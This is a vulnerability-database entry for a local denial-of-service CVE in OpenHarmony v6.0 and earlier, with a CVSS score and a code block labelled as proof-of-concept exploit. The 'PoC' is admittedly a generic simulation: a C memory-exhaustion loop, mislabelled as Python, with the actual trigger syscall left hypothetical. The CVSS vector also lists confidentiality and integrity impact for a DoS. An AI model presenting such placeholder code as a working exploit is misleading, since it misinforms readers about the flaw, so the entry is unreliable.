in OpenHarmony v6.0 and prior versions allow a local attacker cause DOS and it cannot be recovered.
CVSS Details
CVSS Score
8.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
Configurations (Affected Products)
No configuration data available.
OpenHarmony <= v6.0
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/*
* PoC for CVE-2026-25781 (OpenHarmony Local DoS)
* This is a generic simulation of a local trigger.
* Actual exploit requires specific vulnerable code path.
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void trigger_vulnerability() {
// Simulating the specific system call or sequence that causes the crash
// In a real scenario, this would interact with the buggy OpenHarmony API
char *buffer = NULL;
printf("[+] Attempting to trigger local DoS on OpenHarmony...");
// Example of a logic flaw leading to panic/crash
// This loop simulates resource exhaustion or invalid memory access
// which might lead to the unrecoverable state described in the CVE.
for(int i = 0; i < 100000; i++) {
buffer = (char *)malloc(1024 * 1024); // Attempt to exhaust memory
if (buffer == NULL) {
// If allocation fails, proceed to trigger logic that might cause race condition
break;
}
// Write operation that might trigger integrity issue
buffer[0] = 'A';
}
// Hypothetical system call that triggers the bug
// syscall(__NR_vulnerable_syscall, arg1, arg2);
printf("[-] System should be unstable or crashed now.\n");
}
int main() {
// Verify local execution context (PR:L)
if (getuid() > 0) {
printf("[*] Running as low-privilege user...\n");
}
trigger_vulnerability();
return 0;
}